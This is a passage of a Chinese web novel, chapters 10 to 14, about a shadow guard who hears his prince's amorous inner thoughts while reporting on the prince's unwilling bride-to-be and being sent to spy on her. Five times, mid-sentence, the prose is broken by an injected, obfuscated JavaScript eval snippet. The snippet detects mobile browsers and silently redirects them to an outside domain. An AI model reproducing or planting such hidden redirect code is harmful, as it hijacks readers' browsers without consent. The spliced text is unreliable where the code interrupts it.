无从解释也不能解释的杨妃只能将头埋到最低,老老实实背上这一口锅,“属下行为有失,请主子责罚。” 杨妃誓死捍卫他们俩之间的窗户纸,宁肯被吊起来打也绝不改口! 嘴硬这方面他也是专业的! 【啊……】 【好想继续问下去啊……】 听着杨妃的回答,王爷一时没做出决断,心中满是遗憾。 【还以为他总盯着我是沉浸于我的容貌,对我也有些意思。】 【不是我自己一厢情愿呢……】 【哎。】 【果然是快木头。】 【看来还得是我主动出击,要是指望他以下犯上推荐关系,只怕老死了我都等不到。】 !!! 主子!主子!快住脑! 杨妃差点直接嘎巴一下死这,他一定是上辈子造了孽这辈子才能听见主子的心声。 还不如听不见呢! 听不见的时候他们俩还是和谐主仆,听见了之后他每天都提心吊胆为自己清白忧心,都快控制不住自己的腿想逃跑了! 嘶—— 想到这里他又浑身一紧。 他要是真的逃了那岂不是正应和了话本子里的他逃他追? 不要哇! 啊啊啊啊! 他错了他真的错了快拿鞭子抽他吧! 他不该将目光落到主子的脸上的! 他现在真的知错了! 杨妃从来没有像现在这样期盼被责罚的时候,但他家主子注定不想让他如意。 “罢了。” 王爷遗憾地摆了摆手,“没有下次。” 【看我!继续看我!别管那劳什子影卫守则了!】 【本王绝不会怪你的!】 10. 第 10 章 不,他再也不看了。 杨妃冷酷无情地反驳,愣是按耐住自己如跪针毡的心焦,好像什么事都没发生过似的等待命令。 心声也确实是个好东西,只有他一个人能听到那就是没有的事。 他心态极好的调整了自己,从这一晚上接二连三的打击中恢复过来,听着他那不着调的主人轻咳了一声收了心,终于说起了正事。 “交代你办的事情怎么样了?” 荒唐的事情随着这样一句再平常不过的话回到了正轨,杨妃听着这话就像是听见天降福音一般,心中更是安定不少。 腹稿是他早早就准备好了的,可能引发的后果更是暗中揣测了个一二三条,甚至已经做好了被王爷火冒三丈迁怒的准备。 但他无所谓,那些都是小节。 只要和清白无关,哪怕是刀山火海他也去的,何况是区区已经措好词了的汇报! 他可是影卫,这方面是专业的! 杨妃迅速在脑海中过了一下自己汇报的重点和需要放轻声音的诛心之言,略调整了下呼吸,喉头微动,不着痕迹地清了下嗓子。 在开口之前,他必须得在心里骂一遍,大理寺卿他真是该死啊! 他要是真的因为大理寺卿白白送了性命,他就是做鬼也不会放过他的! 心中有所决断,杨妃也不再迟疑,事无巨细地将他今晚在大理寺卿书房房顶上偷听到的消息讲给主子听。 连同每一句诛心之言和大逆不道的话都没有落下,他仅有的同情心也不过是让他稍放轻了些声音,增加一点断句,给王爷一点喘息和接受的时间。 “属下到时,大理寺卿一家三口正在书房议论赐婚之事。” “那女娘悲痛欲绝,跪在地上哭得泣不成声,声称自己和四殿下情投意合已经互许终身,宁死也不也不肯嫁给主子,苦求大理寺卿想办法同圣上拒婚。” “她说嫁给主子便是毁了终身。” “称自己若不能嫁给心爱之人,便一头撞死在花轿里,好叫世人看看堂堂皇室强娶臣女之子,好让主子身败名裂自食恶果。” 杨妃语气平稳,额角却又滑落几滴冷汗,这大理寺卿家的女娘是他这辈子见过最胆大妄为的,他也不知道她是打哪儿来的勇气拒婚,更是深知她必然已经激怒了王爷。 哪怕他家王爷确实要不择手段的拒婚,也不代表王爷能接受有人瞧不上他。 杨妃随侍王爷多年,他可太懂王爷了,连冲进大理寺卿府上刺杀的方案都做了好几版了,但此时主子既然没打断他,那他就还得说下去。 “那女娘句句不离她的真爱,频频将主子和四殿下做对比,最后竟然说主子不能人道……” 他话音还未落,整个人就已经流畅地五体投地,毫不意外的听着床上的王爷愤怒的捶了一下床边怒喝。 “放肆!” 主子怒火中烧,杨妃头抵在手上一点动静也不敢出,只当自己不存在。 还好现在是主子还没起床的时候,这要是主子穿戴整齐了手边有什么东西都得被摔出去不可。 也省得误伤了他。 卧房的空气几乎凝滞,他甚至听到了主子攥紧拳头的关节声响,连呼吸声也急促了许多。 果然啊…… 男人有些东西可以不用,但不能没有,也不能让别人觉得他没有,觉得他不行。 杨妃对天发誓,这应该是这么多年他汇报的时候主子生气生的最快的一回。 果然啊,攻击男人就得攻击他的不可攻击之处。 杨妃心下戚戚,等着主子发火,却没料到他家主子深吸了一口气竟硬生生的将火压了下去。 “继续。” 王爷阴沉着脸,他冷冷地盯着杨妃,他倒要听听父皇赐给他的王妃还能说出些什么大逆不道的话来? 主子爷发了话,杨妃就也按着预计好的草稿继续讲下去。 看这情况他的刺杀计划应该也用得着了。 他就喜欢这种在意料之中的事情,稳妥。 “大理寺卿听见这话怒不可遏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219625|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,当即质问女娘从何处听来的这些言论,怒斥她闺中女子怎可说这些胡话,勒令她休要再说。” “那女娘并不服气,辩驳称京中的贵女们私下都这样传,连四皇子身边的婢女都知道,如今京中更是人尽皆人尽皆知。” “她这话还没说完,大理寺卿就掌掴了过去叫她闭嘴,他劝女娘将所谓的情分忘掉,称那时私相授受有损四皇子清誉,让她乖乖在家中待嫁。” “那女娘却说既然陛下认为她有做王妃的资格,嫁给哪个皇子不是嫁,只不过是将主子换成四殿下罢了,说陛下圣明烛照自然是能体恤的。” “大理寺卿被他这话气得身影摇晃险些没晕过去,但女娘却犹未停止,哭着让大理寺卿想办法拒婚,称绝不同意嫁给主子,哭泣哀求之下,她思前想后竟说……” “让她家的庶女替嫁。” “她说圣旨上也只说要娶他家的女儿,又没有指名道姓说娶了哪个,便是让庶妹嫁过去也不算是抗旨。” “她还说这对妹妹来说也是难得的好姻缘,便是烧香拜佛也求不来的。” “说到时候妹妹嫁给主子,她自己嫁给四皇子,如此家中的姐妹便做妯娌,便又是一家人。” 杨妃说到这里稍微停顿了一下,咽了一口唾沫润润嗓子,想到自己接下来要说的话只觉得眼前一黑,鼓起勇气硬着头皮继续。 他真的想管大理寺卿家的女娘借两个胆子了! 要不他现在直接冲到大理寺卿府上将那女娘绑过来让她亲自说吧! 杨妃听着主子明显加快了许多的呼吸频率,难得迟疑,“她说……” 他这明显的异常停顿瞬间吸引了王爷的注意力,被狠狠地瞪了一眼,“什么时候你汇报起来也吞吞吐吐的了?!” “继续!” 【一时竟没忍住……】 杨妃选择性地忽视了主子的心声,既得了命令,当下也不再迟疑,将那句直接能诛九族的话直接说了出来。 “她说,庶子配庶女,再般配不过。” 11. 第 11 章 床上的王爷饶是涵养再好也终究是忍不住了,一怒之下将枕头扔了下去轱辘到杨妃手边。 可他没有叫停,杨妃便只能继续。 不过好在最能让人生气的话他已经复述完了。 “大理寺卿听了这话脸色大骇,直接伸手掌掴了她,怒气冲冲地叫她闭嘴,还说这么多年来是他将她宠坏了,宠得她不知天高地厚,不仅敢妄议皇子私事,还敢口出妄言。” “大理寺卿说他就不该让她看那些个杂书话本子,一点女儿家该有的文气和规矩都没学会,反倒学那些所谓的才子佳人芳心暗许的不着调的把戏。” “他说要不是她被指给了王爷,今夜就该请家法将她打死了事,也省得传出去败坏家门名声,又或是嫁到谁家去连累了家中待嫁的女眷。” “大理寺卿怒火中烧,只说让她女儿死了这条心,天家娶亲是不可能娶一个庶女过去的做正妻的,他们家也担当不起这欺君的罪名。” “他说除非她在结亲之前死了,否则说什么都得嫁过去。” “结果那女娘竟毫不悔改,竟说那她就死给主子看,花轿过门之日她就直接冲出去撞死在王府门口的石狮上,也好叫天下人都知道皇家为了娶亲逼死臣女,也让主子……成为这京城中所有皇子里的笑柄。” “大理寺卿夫人当场就被她这话吓得晕了过去,大理寺卿一脚踹在了女娘身上,将她踹倒在地不许她再讲话。” “他怒不可遏,只说幸好屏退了仆人,这些话只有他们三个人听见,否则她今日便是不死也得死了。” “说完了这话,大理寺卿便喊来的仆从,将那女娘堵住了嘴直接捆住关在闺房之中,直到嫁人之前都不许她再出来。” 总算是都说完了。 将主子赐婚对象今晚说的这些要命的话全都叙述出来,杨妃也觉得如释重负。 他觉得大理寺卿有一句话是没说错的,今天晚上这些话幸好只有他们四个人听见了,不然且不说那女娘必死无疑,就连大理寺卿九族都未必能保得住。 他们家能养出这样一个女儿,也算是前无古人了。 说完了最严重的,大理寺卿本人为官犯下的罪恶都算不上什么了,杨妃一股脑的把那些行贿受贿的事倒了个干净,又低头请罪。 “属下目前找到的也就这么多了,大理寺卿府上的赃款并不多,又有急事回禀,请王爷再多宽宥几日,属下定查个水落石出。” 也算是按计划完成了这次工作汇报,杨妃安静的等他那个怒极了的主子平复情绪发下新的命令,思维有些发散。 刚才一时紧张都没有注意到,这会儿说完了才反应过来少了些什么。 他不是能听见主子的心声吗? 怎么主子这么愤怒了都没有一句心里话? 难不成他刚到手的奇怪能力直接就没了? 杨妃心中有些复杂,虽说听着主子那些觊觎他的话有些难为情,也让他对自己的清白十分担忧。 但那些话还是能帮助他在主子面前规避主子喜好的,少了心声说到底还是会让他守护清白的路变得曲折。 不对。 刚才是有一句心声的。 【一时间竟没有忍住。】 这应当是他听到的最后一句心声了。 那女娘那么多大逆不道的话竟然都换不来主子一句心声吗? 难不成主子被气到头脑发昏、难以思考了? 有点奇怪。 还有主子那句心声…… 不会在说他一时没忍住吼了他吧? 嘶—— 那还真是难为主子在如此愤怒之中都能想着他的情绪了。 杨妃胡思乱想着,分散自己的紧张,试图控制自己不要留那么多冷汗。 现在这个节骨眼上,汗水滴在地板上的声音都能让他心神一颤,实在是神经紧绷。 不只是他,就连房梁上的朱柿也是紧张的不行,恨不得自己直接消失,心中万分后悔之前为什么没有听杨妃的话离开这里。 他早说要跟主子汇报这么要命的话啊! 那他一定连滚带爬地飞出王府,而不是蹲在房梁上这会儿紧张的险些原地去世,这些个话是他能听的吗? 朱柿咬着牙心如擂鼓,余光看着底下两个人悔恨之情难以言喻。 他的好兄弟跪在地上脸恨不得埋进土里,看不见主子的表情倒是安逸了,可却苦了他了! 他蹲在房梁上看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219626|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主子的脸看得一清二楚,他家主子今天真的是气得很了,连一贯的淡定从容都消失的一干二净,整个人从脖子红到耳朵尖,额角脖子上的青筋突起,手也紧紧抓在被子上,用力到指尖泛白。 朱柿就没见过主子这模样! 他估摸着那姑娘要是现在在这里就可以直接去投胎了。 朱柿收敛住气息,胡思乱想着竭尽全力地降低自己的存在感。 但他实在太过紧张,额头上的汗水不要钱似的往出冒,汗水顺着他脸颊滴落,他瞪圆了眼睛却不敢弄出动静擦拭,只能呆呆地看着它掉了下去,好巧不巧地打在杨妃的背上,惊的他肌肉一颤身形略晃,脚步和房梁间摩擦出一声轻响。 !!! 杨妃本来都冷静多了,但这可不代表房间里的气氛轻松了,他完全没想到在这么紧张的时候头顶上的朱柿不好好的装死,先是滴了一滴汗水敲在他脆弱敏感的神经上,要不是他控制力足就直接抬头了。 结果他还没缓过劲来,这傻孩子又闹出了动静,就说了,不要让他待在这里他偏不听! 他弄的这一声和直接从房梁上掉下来也没差什么了! 杨妃心中腹诽,身体却诚实地竖起了耳朵听着王爷的动静,他祈祷自家王爷沉浸在愤怒之中没有注意到房梁上的小变故。 他可不想朱柿因为这个直接撞到王爷的枪口上,他还不想痛失同僚! 他的祈祷没有得到回应,到底是朱柿闹出的声响有些明显了,王爷终究还是发现了这屋子里还有别人。 正如杨妃所想的那样,王爷几乎是瞬间抬起头,怒火中烧地盯着屋顶的房梁,一口银牙险些咬碎。 被人说他不举就已经够让他怒火中烧了,更别提是还说什么人尽皆知,那后面的字字句句也是火上浇油。 王爷本就没缓过劲来,而现在,在他的房中竟然还有别人知道了这事。 王爷多少过不去自己心里那关,看见房梁的目光越发不善,声音里带着一丝杀意。 “给爷滚下来!” 杨妃心里咯噔一声,忍不住攥紧了手指。 在这种情况下到底怎么能保住这傻孩子? 那会儿就应该直接将他打晕丢出去的! 12. 第 12 章 杨妃替自己的同僚捏的冷汗没白捏。 王爷的一声怒喝吓得朱柿一个哆嗦,他以一个比杨妃还要狼狈许多的姿势从房梁上滚了下来。 但这小子到底还没全失了智,在如此慌乱的情况之下他竟然还有心思给自己寻找了一个好落点。 五体投地的杨妃听着头上的风声,想骂人的心也达到了顶峰。 这种情况下让他怎么挪动身形给朱柿腾一个位置出来啊?! 狼狈的朱柿按照自己预想的方位落在了杨妃身旁,他紧挨在杨妃身后,跪下去时甚至差点趴在他身上。 他平日里哥哥长哥哥短的叫了那么多回,这种时候也该到了他寻求哥哥庇佑的时候了。 妃哥哥—— 挡一下吧求求了! 被寄予厚望的杨妃咬牙切齿地僵住不敢动弹,所幸自己下盘稳得住才没被自己的好队友直接扑出去。 然后两个人一并被拖出去打板子。 有他可真是他的福气,他也不想想王爷视野范围内拢共就这么大一块地方,拢共就这么两个人,再藏能藏到哪里去? 杨妃看着地板翻了个白眼,希望王爷不要太过于迁怒于他吧,反正他是没招了。 朱柿却不知道他心心念念的好哥哥已经开始为他祈祷,此刻正战战兢兢地跪着,背上落着的视线无比火热,一时之间竟然连自己埋在哪里都想好了。 他今日终究是逃不过这一劫了。 自觉被偷听丢了脸面的王爷本就怒火中烧,看见自己的影卫如此狼狈更是火冒三丈,他只恨床上的枕头已经被他砸在了地上,不然现在就有东西能砸这个不着调的了。 王爷深呼了一口气,大吼大叫的喝骂实在不符合他的身份,一时也没有撒气的,便安慰自己这可是花了不少俸禄才养出来的手下,砸伤了倒没什么,若是误伤了别人可就不好了,只能咬牙放弃。 今儿算他运气好。 王爷目光炯炯地盯着朱柿差点儿和杨妃重合的身影,一种不爽稍稍浇灭了些怒火。 【贴的那样近做什么!】 【本王还没有贴那么近过!】 【本王就没见过比他下来还能更狼狈的,差那么一点就骑在杨妃身上了!】 【险些让他把本王都没做成的事情争了先!】 【岂有此理!】 【僭越这是僭越!】 ? 还等着王爷发火在心里措辞怎么救朱柿一条狗命的杨妃没听到王爷发怒,却听见了消失已久的心声。 心声劈头盖脸的砸在杨妃的耳朵里,听得他眼神逐渐失焦大脑一片空白。 主子真是越来越难以琢磨了。 不应该怒火中烧展现威严吗? 到底是怎么无缝衔接到他心中的那些情情爱爱的啊? 他真的没有办法和自己的主子共情,这心声越加诡异,直叫他头皮发麻。 怎么他听着听着感觉主子的话那么酸呢? 他恍惚之中竟然有一种主子在吃他和朱柿的醋一般,听上去颇为嫉妒。 吃醋这种东西出现在他们三个人之间真的合理吗? 不要什么醋都吃啊。 还有,什么叫做骑? 杨妃不愿意承认自己就能秒懂主子话中隐含的深意,仗着现在没有人能看见他的表情嘴角抽搐了一下,很难想象面上怒火中烧的主子心里竟然想着这些。 未免也太割裂了。 若不是音色一般无二,他都要怀疑这是不是两个人了。 谁能想象到平常威严的主子操着一脸不怒自威的气势时,心里却如同深宅夫人一般抱怨嫉妒呢? 这诡异却异常贴合现状的联想让杨妃打了个寒颤。 他家主子不光吃醋,双标这方面也拿捏的明明白白,其实他还是想为朱柿辩解两句的。 他刚才从房梁上跳下来的时候也没比朱柿强到哪去…… 只不过他身下没有人可以随便落地罢了。 结果到主子那态度那叫一个天差地别,方才还以为他受伤了,这会儿对朱柿就全然嫌弃,也差的太多了吧! 这就是爱与不爱的区别吗? 这好像是他目前感受到的唯一偏爱了吧。 所以说主子的感情就是一块免罪金牌? “朱柿。” 思索间王爷已经平复了自己的心情,他冷冷地点到朱柿的名字,紧挨着他的杨妃就感觉到朱柿一个哆嗦呼吸骤然凌乱,心中也涌起一股担心来。 主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219627|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子不会是真的要迁怒于他吧? 该死的他还没想好怎么给朱柿求情呢! 死脑子快想啊。 【啧。】 【算了。】 【这次就且先饶过了他,可不能因为他把我在杨妃面前温和宽仁的形象给毁了。】 【这个才是最重要的。】 【万一我盛怒之下做了些什么叫杨妃害怕了可怎么办?】 【本来就没什么进展,再出些差错怕不是推得更远了。】 【这可不中。】 …… 杨妃听着这话无奈又庆幸,但悬着的心也还是放了下来。 哪怕王爷放人的理由奇怪又没有道理,心里想的也都是些不能与人说的事,但只要保下了朱柿这条狗命,对他来说也是个好的结果。 别的都不重要。 只是被心声骚扰着罢了,他就当什么都不知道,安心的接受好结果。 王爷深呼了一口气,略缓和了些语气,理智占了上风,头脑迅速运转,正常版的王爷总算上线发布常规任务了。 他看向朱柿目光幽深,“朱柿,给本王查清楚了这个谣言到底是从何处传来的,又经了谁的手还传了个京中皆知,事无巨细给本王追查到底,务必要抓到源头!哪怕是追到皇宫里也得给我查!” “本王倒要看看究竟是谁如此胆大包天!” 这谣言他既知道了就万万不能坐视不理,他的名声都还是其次的,主要是—— 【万一哪一日我好不容易得了杨妃的欢心,他却听了谣言信以为真,以为我不能人道不能给他幸福快乐,不给我机会可怎么办?】 【那到手的王妃不是就这么飞了吗?】 【这才是真正的顶顶要紧的大事!】 这不是—— 顶顶要紧个头啊。 谁是王妃啊? 杨妃在心里尖叫嘶吼,只恨自己没那个本是将拒绝的心声传给王爷。 他真的服了! 王爷这个样子和话本子里的恋爱脑有什么区别? 王爷可是要争王夺权谋取皇位的! 能不能不要什么事情都往情情爱爱、尤其是往他的身上想啊! 现在的要事能是这个吗? 13. 第 13 章 深觉主子越来越奇怪的杨妃有一万句规劝的话想对自己主子说,可竟没有一句话是他这个身份能说出口的,此刻就只能全都憋在心里。 忠仆也太难做了,急需一份向上管理指南! 他越想越觉得前程堪忧,脑子里幻想了好几版主子夺嫡失败后他们这些影卫的凄惨下场,完全不知道他心心念念的王爷沉浸在自己独特的思维中不可自拔。 老实说这一刻主仆两个之间还是很有默契的,两个人不约而同地都在幻想自己目标失败的场景。 王爷已经联想到自己示爱失败后的凄惨模样,越想越生气,恨不得现在冲到大理寺卿府上将罪魁祸首杀之而后快。 他攥紧了拳头骨节咯吱作响,最好别让他知道到底是谁手段如此下作,否则他一定要割了那人的舌头,还要让他尝尝什么叫做不举。 王爷脑补了一下那场景心情舒畅了许多,对这件事竟然升起了点兴趣。 互相攻击构陷的事情他见得多了,古往今来说是花样百出也不为过,可攻击这方面的他倒是头一回见,真不知道是哪个下作的想出来的手段。 把自己哄好了的王爷重新将目光放到杨妃身上,有点心疼他今天跪了这么久,便言简意赅地将任务发了下去。 【地砖这么凉要是伤到了膝盖可怎么好,以后有的是用得着的时候,现在还是得多运动运动才行。】 这透着诡异逻辑的心声杨妃竟然已经有些习惯了,他家王爷对体恤下属这四个字有自己的理解和节奏。 “好啊真是好极了。” “从来都只有本王嫌弃别人的,没想到本王竟还有被人嫌弃的一天。” “看来她真是不想活了!” “杨妃。” “给本王盯紧了那女人!” “我倒要看看她还能说出什么惊天动地的话来!” 王爷眯了眯眼,想到那蠢女人自称已经和四弟情深几许,便又笑了。 “她如此不愿意嫁,想必这些天少不了去联系那个黑心肝的四弟,你得给本王盯紧了。” 王爷忽然有了更好的主意,比起抓住大理寺卿的罪证让父皇不得不悔婚这种让人一想就知道背后是谁在捣鬼的小手段来说,抓住大理寺卿的嫡女与四皇子暗中书信往来的信件才算得上大事。 结党营私可是个好罪名,结党的对象是皇子那就更妙不过。 到时候无论大理寺卿和四皇子之间到底清不清白,只要父皇心中有所怀疑,不是也是了。 虽说父皇未必会如何处置四弟,大理寺卿却是跑不了要被拎出来杀鸡儆猴的。 甚至连那些微不足道的小罪甚至都能要了命了。 不仅能顺理成章的推举了这门婚事,还能在父皇面前给四弟上一上眼药。 而这个大理寺卿么…… 他在这个位置上也待了几年了,是时候换换人了,京城的官从来不缺人选,他手底下也有不少嗷嗷待哺的幕僚,这不正是个好时机? 怎么能不是一箭三雕的妙计呢? 王爷越想越觉得这样退起婚来更加稳妥,便又多嘱咐了杨妃几句,才叫他们两个各自散了,专心做事去。 只不过在杨妃才出门的时候王爷忽然又犹豫了。 王爷叫住了他,盯着他看了一会儿才说。 “日日都需向本王汇报进展,莫要懈怠了。” 他不舍地说了这句话,生怕杨妃沉浸起工作来数日见不着人影。 【一日不见如隔三秋,本王怎么受得了那样的寂寞。】 【我们可得是像鱼和水那样日日依存的!】 “……是。” 王爷心中忧愁,杨妃比他更愁百分,很有一种将水泼在王爷脸上叫他清醒清醒的冲动。 盯梢的工作本来就累人,休息的时间就所剩无几,他竟然还得抽出空来回来汇报! 王爷也不怕他离开的这会儿错过了重要消息! 盯着那女娘的任务说短也许就在一两天之间,说长保不齐要一直盯到王爷成婚。 杨妃一想到那时长就两眼一黑。 他这么多天都要连轴转两地跑,怕是又得拿内力当仙力使了! 王爷到底是喜欢他还是和他有仇啊? 给他找一个王妃真的是势在必行了! 心中有万般埋怨,顺利出了门的杨妃还是轻松了许多,他瞟了一眼蹲在树梢上等他的朱柿,侧头冲着房顶上准备接班儿的仓庚打了个手势,看着他进了屋才叫上朱柿离开。 王爷交给他们两个的任务都不是一天两天能干完的,他俩在离开王府上工之前还有一点准备工作要做。 杨妃加快脚步赶向自己的小院,在天彻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219628|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底放亮之前,他得冲个水换一身衣服,再多准备几套一模一样的带着藏好以备不时之需。 那大理寺卿家的女娘可以说是颇受溺爱,在他家蹲了那么一会儿,杨妃就感觉自己的衣袖上已经带了他家那种甜腻的香气。 他家的王爷也是金尊玉贵的,夜间焚的香味道虽不浓郁,以他的鼻子还是能闻得出来的,这会儿两种气味交织在一起,鼻子都觉得有点受不了了。 连跳带翻地走到自己房门前,杨妃停住脚步,嫌弃地推了一把没骨头似的靠在他身上嗅来嗅去的朱柿,“在这腻歪什么?身上的活可不轻,还不收拾收拾动身?” 杨妃抵着他的脑门,第一反应竟然是做贼般地环顾四周,没看到王爷的身影才真的放松下来。 他算是知道了他家王爷那小心眼了,这要是见着了现在这情形,保不定怎么吃醋又要在心声里编排他呢。 屈指弹了一下朱柿的脑门,手下的额头和他一样汗津津的,这小子今天也算是死里逃生了,还不长记性。 “还不将差事办得好些戴罪立功,下一次就未必有这样的好运了。” “今天可真是吓人……”朱柿说话的声音都飘忽着,不管不顾地又在杨妃的掌心蹭了蹭,嘴唇颤了颤最终也没敢和他再抱怨那些大逆不道的言论。 他顺着杨妃的力道站起了身,塌拉着肩膀弓着腰,三魂七魄有一半都不在体内,瞧着虚弱可怜,嘴上却中气十足,“你身上这香气可真够腻人的,怕不是躲在人家床底下偷听的吧?” “啪。” 杨妃终究忍无可忍地用力拍了他一记,呵斥了一声,“躲在床底下偷听多容易被发现你不知道吗?高危躲避地点全都忘了?” “我看你是得加训了。”他推了推朱柿,既催促又担忧,“时间不等人,别让主子记你个怠慢之过。” 瞅着他叮叮当当地收拾起来,杨妃也进了屋理直气壮地占用了兰苕刚烧好的水,一个猛子连人带衣服扎了进去。 这样刚烧好的热水手快有手慢无,先钻进去再脱衣服也不迟,反正这一身也是要洗的。 “唰——” 剑风带起他额前的碎发,明亮的剑身反射着月光,晃得杨妃睁不开眼睛。 不是吧?洗个澡都不让人消停? 这关键时刻一个失手岂不是将他看光了? 14. 第 14 章 这念头一起,他自己差点笑出了声。 他怕不是听王爷的心声听得太多了,被心声的内容给洗脑了,看谁都不像是正经人,好像人人都是清白大盗似的。 脑子好像坏掉了。 “我这是有任务在身——” 杨妃向后仰头,哗啦一声抬手带起一大片水珠,眼疾手快地单手夹住兰苕刺过来的剑锋,另一只手犹不停歇地脱去上衣向外一抛,弹指将手中的剑打开,扑通一声整个人连脑袋都扎进了水中。 他就当兰苕不存在似的,只管专注的洗澡。 对于他们这种影卫来说任务永远是第一要紧的事,是生活中的最优级,别说他只是强占了兰苕的洗澡水,就是他把兰苕扒光了硬说是任务,他也只能捏着鼻子受了。 咳咳。 杨妃想到这又觉得有些尴尬,猛地掀起一捧水泼到脸上让自己工作了一夜的脑子清醒清醒。 怎么想起那种事来还没完了? 好端端的怎么就联想到扒衣服了! 是该好好的洗一洗,尤其是脑子。 他在心里唾弃了自己一万遍,在兰苕的注视下头一回的感觉到浑身发紧,忍不住打了个寒颤,更往浴桶里蹲了蹲。 杨妃强行压下自己心中的那点不自在,想做任务的心占领了脑子,他专注将自己浸湿,生怕留下皂角的香气只能手动搓,还时不时凑近嗅一嗅自己。 他当然不是自恋,这也算是影卫的日常之一了。 谁叫他们监视的这些世家大族、官员富豪们都有焚香的爱好呢? 他可得将浑身上下洗得干干净净,把这一夜沾上的香气通通冲下去。 大理寺卿家的护院或许没那个本事消除空气中的异常,但他可是去蹲他家女娘的,那位是口口声声称自己是四皇子的命中注定,要是真的让他蹲到了四皇子的影卫去和女娘接头,那结果可就不一样了。 四皇子的手下可不是大理寺卿家的那些草包,杨妃想象了一下自己偷听他们传递消息的时候,四皇子家的影卫眉头一皱一吸鼻子,呵斥一句,“谁在那里!气味都露出来了!”他在和人家打起来之前,就得先社死一回了。 传出去怕不是让别人以为王爷府上柴火不够用舍不得烧水呢。 他可不想将自己的脸面连同王府的一并丢掉。 确定自己身上的气味重新变回了出厂设置,他哗啦一下从浴桶中站起身,理直气壮地朝兰苕伸手。 “浴巾。” 下一刻,带着内里的浴巾挟着万钧之势劈头盖脸地照在了杨妃的头上,他眯了眯眼,一点儿都不在意将自己草草擦干了,换了身一模一样的衣服就要出门。 “回见。” 临走时他拍了拍兰苕的肩膀,对着他那张面无表情的脸露出了一个微笑。 哪怕在王府的影卫之中,他都是修仙一般做着任务,牛马影卫中的顶级牛马,他相信他亲爱的同僚能理解并原谅他的,对吧? 小小地报复了一下这个特别热衷于半夜下班走窗户,总是“不小心”踩到他头发的室友,杨妃觉得自己走路都带风,精神都好了许多。 他真的感觉去大理寺卿家监视会受到精神损伤,那女娘可真不是一般人物,不做点心理准备他都怕偷听的时候忍不住。 不知道药房有没有应对精神损伤的药…… 替王爷对付王妃,他这个影卫也算是开发宅斗功能了吧? 杨妃只求那女娘少说两句诛九族的话,他愿意用主子同父异母的兄弟们二十年的寿命来换! 熟练地在任务开始之前将自己哄好了,趁着现在还有一点夜色,杨妃避开了长街上稀稀拉拉的人影,躲过大理寺卿家做活的小厮丫鬟,潜入了女娘的院落。 他收敛住气息,透过树影的间隙看向紧闭的窗户,心中默默祈祷。 希望她有什么招数最好快点使出来,早点让他拿到主子想要的勾结证据,好结束了这个任务回去复命。 他实在是不想再体会一番拿内力当仙气使的滋味。 不过事与愿违,这女娘竟然意外的沉得住气,一连几天都没有和四皇子搭线的意思,害得杨妃也是过上了监视汇报两头跑的规律生活。 就是生活有点过于规律了。 规律到他差点都以为自己已经完成辅佐登基的人生目标退休了。 这对吗? 杨妃有些无语,他抬头看了一眼月亮,心里开始默默倒数。 等他数到一的时候,刚卸下钗环的女娘会推开那扇窗岁月垂泪,她会拿着手帕左边眼角擦两下,右边眼角擦三下,然后将帕子在掌心揉作一团,狠狠地丢在窗外。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219629|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再等两息之后,她那个叫秋荷的侍女就会将帕子捡起来,推门而入走到她身边,拍着她的背说,“姑娘啊,这个时辰垂泪,明日里若是眼睛肿了,叫老爷看见又要生气了。” 